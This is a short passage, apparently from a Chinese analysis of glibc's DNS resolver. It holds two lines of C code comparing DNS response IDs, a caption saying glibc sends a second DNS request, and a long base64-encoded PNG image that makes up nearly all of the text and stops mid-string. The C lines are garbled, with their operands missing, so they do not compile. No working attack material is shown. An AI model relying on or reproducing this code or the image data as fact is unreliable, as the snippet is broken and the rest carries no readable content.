if (recvresp1 == && hp->id == anhp->id)
recvresp1 = ;
glibc发送第二次DNS请求
aaarticlea/png;base64,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